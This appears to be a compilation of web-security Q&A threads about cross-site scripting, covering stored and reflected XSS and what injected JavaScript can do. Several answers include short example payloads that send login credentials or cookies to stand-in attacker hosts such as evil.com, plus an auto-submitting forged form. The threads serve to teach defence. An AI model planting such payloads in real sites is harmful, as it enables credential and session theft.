I'm a PHP developer and I'm looking to improve the security of my sites.
From what I understand the following are two major types of vulnerabilities which affect web applications:
SQL Injection
XSS
SQL Injection can be fixed with prepared statements - easy.
But I still don't really get XSS - is the following an example of XSS?...
Page full of user-made content has a login form at the top (site-wide).
The user's input to the page is not HTML-escaped.
A user posts the following content (e.g. a comment) to the page...
A really nice comment
<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
An innocent user comes to the page, the script executes.
The innocent user realises they're not logged in, and enter their details into the form.
The user's details are sent off to http://somehackysite.com/givemyourpw.php and then the user's account details are stolen.
So I really have three questions here:
Would this work?
Is this XSS?
Are there any precautions developers should take against XSS other than escaping HTML?
There are two types are XSS attacks: Reflected XSS and Persistent XSS attacks. What you've described, where a user of the site inputs data that gets saved on the server side, and is rendered for anyone viewing a page, is considered Persistent XSS. Similar attacks would be if you have a comment box on a post that doesn't escape Javascript, or a profile page I can put anything into.
The other class of XSS attacks is Reflected XSS. These are a little more complicated, but they amount to one of the arguments in the URL for a page not being escaped. They frequently come up in things like Search pages on large websites. You'll get a URL that includes some javascript in it (sorry, my example got mangled by the renderer here, so I can't show you an example) , and the page will render the javascript which would allow someone to craft a malicious URL. These are especially dangerous on sites that hand any sort of financial data; imagine a conscientious user who always checks to make sure the they're going to the write link to their bank, but because of a Reflected XSS attack an attacker is able to send them to a legitimate page on their bank's website, but that has malicious code in it.
In any case, your example is Persistent XSS. You can do even more nefarious things with attacks like that than just changing where a login form sends users. They've been popular for years to do things like scraping information from personal areas of sites, or coupled with CSRF to cause an authenticated user to do something by simply looking at a page. There were a few MySpace viruses a while back that did that, and spread from profile to profile.
Is this XSS?
Yes, this is an injection flaw in general and would be referred to as a XSS exploit in this particular case as it’s JavaScript that was injected.
But this injection flaw, where one user’s input gets reflected to other users without any changes, can also yield to other attacks like defacement.
Would this work?
Yes, it’s very likely that this would work as it’s the origin server that serves this code snipped just like any other code in the web page. So it’s like the author of the web site is the originator of this code and will be treated likewise.
Are there any precautions developers should take against XSS other than escaping HTML?
There are actually three different types of XSS: DOM based XSS, Reflected XSS, and Stored/persistent XSS). Your example is a stored/persistend XSS exploit as the server deploys the exploit with every request.
The general rule is not to trust any user input. That said either only valid user input should be allowed or the user input is filtered (removing invalid values) or properly encoded (convert invalid values) before outputting it. See OWASP’s XSS Cheat Sheet for further information.
it's xss and i believe it's javascript injection too
so i think this link will help
Yes that is an example of a basic persistent XSS attack. Not only could a user steal credentials in this situation but also attempt to infect visitors, or spam links through your site.
OWASP XSS Prevention Guide is a good start.
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
Related
I am working at writing a small website that should use an authentication system that requires me to store a token. Storing it in the localStorage would be for me the most convenient option at this stage, but as I understand, this is potentially vulnerable to XSS attacks. Now, the security requirements aren't very strict (no especially sensitive data would be exposed by a successful attack, the login is just used to keep track of who does what while on site), and there should be no user-generated content on the website (no comments or such), and anyway it's all passing through Angular.js. Does that sound like it's reasonably safe to use the localStorage alone, or should I still look into using it next to cookies for added security? Thanks!
If you are not displaying any user content (not even user login to display who is logged in) standard XSS attacks should not be a problem for you.
Hovewer,make sure you are do not have even the simpliest user generated content. If you are displaying some data from some data source this is also something that should not be trusted. If you are for example displaying user login, you should make sure that, login is properly sanitized prior to usage. User login could contain attack code. Angular.js can help you there with the usage of $sanitize. Also be aware that there is always risk of a self-xss.
LocalStorage is good place to use. Hovewer, you should verify that token is safe to use - it may be expired, or invalidated (e.g when your Angular.js application boots, you could verify token by some call to the API).
There is a web page that has a <textarea>.
You can type any text into that <textarea> and if you hit submit whatever you have typed get rendered on the screen. If you type <script>alert('hello')</script> and hit submit you would get that alert.
The web page doesn't store the typed text so your input could not get rendered on other clients (browsers of other users).
Does the described behavior introduce security risks for the web page owner or its users?
Since you've tagged this php, presumably the form is being submitted to a server side script and then the input is rendered back. This renders you vulnerable to reflected XSS attacks.
<!-- on a third party site -->
<form action="http://example.com/your_script" method="post">
<input type="hidden" name="your_field" value="attack payload">
</form>
<script>document.forms[0].submit();</script>
If that isn't the case and content is added to the page with client side JavaScript and never reads from the HTTP request, then it is still vulnerable to attacks that encourage people to "Just copy/paste this into the textarea!".
Even if the form is never submitted to the server, there are still risks with doing this. The main risk that I see here is if the input field can be populated by an external site.
Consider a hacker's site can post to your form, and pre-fill it with arbitrary javascript code.
He could send any JS code he likes, so that could include code that loads other external resources. Anything....
It could completely overwrite your page design to mimic that of another site, for a phishing attack. (which means that when it's discovered your site is the one that gets blocked, and not his)
It could use your site as a launch pad for sending spam. (ditto for getting blocked, and you really don't want to end up on a spam blacklist)
It could leave your site apparently unchanged, but embed a malicious library that tracks the user or exploits a vulnerability on the browser. (hackers often go to great lengths to inject a JS include into a site; here you're giving them an open door for it)
The trouble with web security is that it is an extremely broad subject -- there are so many possible ways to get hacked and so many angles you need to cover. Ultimately the only way you can keep safe is by exercising best practices at all times; even when you don't see an immediate way for data to be expolited, you should still secure it because ultimately hackers rely on the exploits that we don't see.
A user may be coerced by an attacker to visit your site unexpectedly. E.g.:
<form action="yourserver.com/insecure_site.php">
...
</form>
This allows the attacker to inject whatever he wants into your site which the unsuspecting user is visiting.
on a site the user can enter an email account to gain access. do not want this to be hacked by script kitties.
the input items are generated by javascript and posted via ajax. do I need things like fuzzy word matches in this environment?
Any time you give some user the possibility to input something, every time your application expects some data from the users, those data can be forged.
No matter how your form is built : your webserver espects some data ; those form and data can be forged/faked ; so, you must be prepared for anything that could be sent to your application.
Still, you can add some levels of security, using, for example :
HTTPS so communications cannot be listened to
A nonce in your form, to make things harder when it comes to forging forms
I assume you mean adequate security against someone writing a script to fish for for valid e-mails using a brute-force style attack? If so then no, your presumption that "script kiddies" are incapable of either scripting a full-fledged browser instance that can execute your JavaScript content or determining what URL your AJAX ultimately submits to and then forging requests is false.
If you want to protect against these kinds of attacks, then the only effective way to do so is to add code on the server side. For instance, you could track the number of incorrect access attempts posted per IP address, and block requests (for like an hour or so) from any IP that posts more than, say, 10 invalid requests in a 5-minute time span. Then you are reasonably safe against this kind of attack until you come across someone with a million-IP bot-net and a grudge against your site.
Another form of protection is to send some random code from the server to the client that gets submitted back with the form (for instance, as a hidden field), and code the server so that ignores any form submits that do not include this code. This solution works best if you have some way of verifying that the user is trustworthy before you display the form (so it's not really useful in the context of a login form, but it could help secure any post-login forms that you may have). Otherwise it is not too hard for an attacker to compose a script that just grabs a code from your server, and includes it in a forged request.
JavaScript + Ajax forms are just a more fancy means of forms. It's still a request with post/get data so same security measures should be undertaken as per normal HTML form.
Wether you use Ajax or basic HTTP requests, don't send back data you don't want users to see either way. Don't offer services or functionality by means of JavaScript/Ajax you wouldn't offer by means of basic HTTP requests.
Script injection does not need an JavaScript/Ajax vulnerabilities, it just needs unsecure backend code that doesn't catch and eliminate code injections.
I just happen to read the joel's blog here...
So for example if you have a web page that says “What is your name?” with an edit box and then submitting that page takes you to another page that says, Hello, Elmer! (assuming the user’s name is Elmer), well, that’s a security vulnerability, because the user could type in all kinds of weird HTML and JavaScript instead of “Elmer” and their weird JavaScript could do narsty things, and now those narsty things appear to come from you, so for example they can read cookies that you put there and forward them on to Dr. Evil’s evil site.
Since javascript runs on client end. All it can access or do is only on the client end.
It can read informations stored in hidden fields and change them.
It can read, write or manipulate cookies...
But I feel, these informations are anyway available to him. (if he is smart enough to pass javascript in a textbox. So we are not empowering him with new information or providing him undue access to our server...
Just curious to know whether I miss something. Can you list the things that a malicious user can do with this security hole.
Edit : Thanks to all for enlightening . As kizzx2 pointed out in one of the comments... I was overlooking the fact that a JavaScript written by User A may get executed in the browser of User B under numerous circumstances, in which case it becomes a great risk.
Cross Site Scripting is a really big issue with javascript injection
It can read, write or manipulate cookies
That's the crucial part. You can steal cookies like this: simply write a script which reads the cookie, and send it to some evil domain using AJAX (with JSONP to overcome the cross domain issues, I think you don't even need to bother with ajax, a simple <img src="http://evil.com/?cookieValue=123"> would suffice) and email yourself the authentication cookie of the poor guy.
I think what Joel is referring to in his article is that the scenario he describes is one which is highly vulnerable to Script Injection attacks, two of the most well known of which are Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).
Since most web sites use cookies as part of their authentication/session management solution, if a malicious user is able to inject malicious script into the page markup that is served to other users, that malicious user can do a whole host of things to the detriment of the other users, such as steal cookies, make transactions on their behalf, replace all of your served content with their own, create forms that imitate your own and post data to their site, etc, etc.
There are answers that explain CSRF and XSS. I'm the one to say that for the particular quoted passage, there is no security threat at all.
That quoted passage is simple enough -- it allows you to execute some JavaScript. Congratulations -- I can do the same with Firebug, which gives me a command line to play with instead of having to fake it using a text box that some Web site gives me and I have to abuse it.
I really think Joel wasn't really sober when writing that. The example was just plain misleading.
Edit some more elaborations:
We should keep several things in mind:
Code cannot do any harm unless executed.
JavaScript can only be executed on client side (Yes there are server-side JavaScript, but apparently not in the context of this question/article)
If the user writes some JavaScript, which then gets executed on his own machine -- where's the harm? There is none, because he can execute JavaScript from Firebug anytime he wants without going through a text box.
Of course there are CSRF, which other people have already explained. The only case where there is a threat is where User A can write some code which gets executed in User B's machine.
Almost all answers that directly answer the question "What harm can JavaScript do?" explain in the direction of CSRF -- which requires User A being able to write code that User B can execute.
So here's a more complete, two part answer:
If we're talking about the quoted passage, the answer is "no harm"
I do not interpret the passage's meaning to mean something like the scenario described above, since it's very obviously talking about a basic "Hello, Elmer world" example. To synthetically induce implicit meanings out of the passage just makes it more misleading.
If we're talking about "What harm can JavaScript do, in general," the answer is related to basic XSS/CSRF
Bonus Here are a couple of more real-life scenarios of how an CSRF (User A writes JavaScript that gets exected on User B's machine) can take place
A Web page takes parameters from GET. An attacker can lure a victim to visit http://foo.com/?send_password_to=malicious.attacker.com
A Web page displays one user's generated content verbatim to other users. An attacker could put something likm this in his Avatar's URL: <script>send_your_secret_cookies_to('http://evil.com')</script> (this needs some tweaking to get pass quoting and etc., but you get the idea)
Cause your browser to sent requests to other services using your authentication details and then send the results back to the attacker.
Show a big picture of a penis instead of your company logo.
Send any personal info or login cookies to a server without your consent.
I would look the wikipedia article on javascript security. It covers a number of vulnerabilities.
If you display data on your page that comes from a user without sanitizing that data first, it's a huge security vulnerability, and here's why:
Imagine that instead of "Hello, Elmer!", that user entered
<script src="http://a-script-from-another-site.js" type="text/javascript"></script>
and you're just displaying that information on a page somewhere without sanitizing it. That user can now do anything he wants to your page without other users coming to that page being aware. They could read the other users' cookie information and send it anywhere they want, they could change your CSS and hide everything on your page and display their own content, they could replace your login form with their own that sends information to any place they wish, etc. The real danger is when other users come to your site after that user. No, they can't do anything directly to your server with JavaScript that they couldn't do anyway, but what they can do is get access to information from other people that visit your site.
If you're saving that information to a database and displaying it, all users who visit that site will be served that content. If it's just content that's coming from a form that isn't actually saved anywhere (submitting a form and you're getting the data from a GET or POST request) then the user could maliciously craft a URL (oursite.com/whatsyourname.php?username=Elmer but instead of Elmer, you put in your JavaScript) to your site that contained JavaScript and trick another user into visiting that link.
For an example with saving information in a database: let's say you have a forum that has a log in form on the front page along with lists of posts and their user names (which you aren't sanitizing). Instead of an actual user name, someone signs up with their user name being a <script> tag. Now they can do anything on your front page that JavaScript will accomplish, and every user that visits your site will be served that bit of JavaScript.
Little example shown to me a while ago during XSS class..
Suppose Elmer is amateur hacker. Instead of writing his name in the box, he types this:
<script>$.ajax("http://elmer.com/save.php?cookie=" + document.cookie);</script>
Now if the server keeps a log of the values written by users and some admin is logging in and viewing those values..... Elmer will get the cookie of that administrator!
Let's say a user would read your sourcecode and make his own tweak of for instance an ajax-call posting unwanted data to your server. Some developers are good at protecting direct userinput, but might not be as careful protecting database calls made from a ajax-call where the dev thinks he has control of all the data that is being sent trough the call.
if my webserver just serves static pages and my html pages allow users to run any javascript. Can a 'bad' user do any damage to me ?
p.s.
There are lots of talk about watching out about XSS and what I am doing is even worse.
I am letting the user to inject his/her javascript.
what I don't get is what damage can they do ?
Thanks
I can run JavaScript on any page in my browser with Firebug or Chrome inspector. The only problem comes if you're allowing users to run JavaScript in other users' browsers.
No. A bad user cannot do any damage to you.
User A can, however, insert into your page some JavaScript code that causes annoyance or outright damage to user B. User B might then hold you responsible for what happened.
If a user can inject javascript into your page then it's called cross-site scripting (XSS).
Look at the difference between stored and reflected cross-site scripting. Both can be considered a security hole, but stored XSS has significantly more damage potential. Stored XSS allows an attacker to do an HTTP post of a user's document.cookie, which as a worst case allows the attacker to log in to administrative pages.
XSS may not be of concern to your website due to 'static' content. But websites have a tendency to change and improve over time, and then old bugs which were not exploitable become great attack vectors.
Since you are only serving static pages, the risk is lower; but there is still a risk. Here are a few things that an attacker can do
An attacker can inject code that rewrites the HTML of your page to whatever he wants. This way, he creates fictitious content that appears to come from you. This could mean listing the price of your products as $0 (or something ridiculously low). Or it could be fake news about your company. Then, he shares the link via facebook/twitter/digg etc, and people start visiting the injected page and believing whatever the attacker wants them to believe.
He could inject anchor tags into your page that links to other sites - for example adult sites. Then, he gets google to index the page with html injection. This way, he artificially boosts the popularity of the adult website because google thinks your site links to adult site.
If you have any admin pages that are served from the same domain, an attacker could use XSS to steal credentials and get to your server.
Those are the few that come to my head; I am sure an attacker could think of other problems.
Can the user save the JavaScript and let someone else run it at a later time? That is where the trouble is at.
tell me whether the user input is saved and shown back . if then i can run the following code which will crash the browser
<script>
window.location = "https://www.google.com";
</script>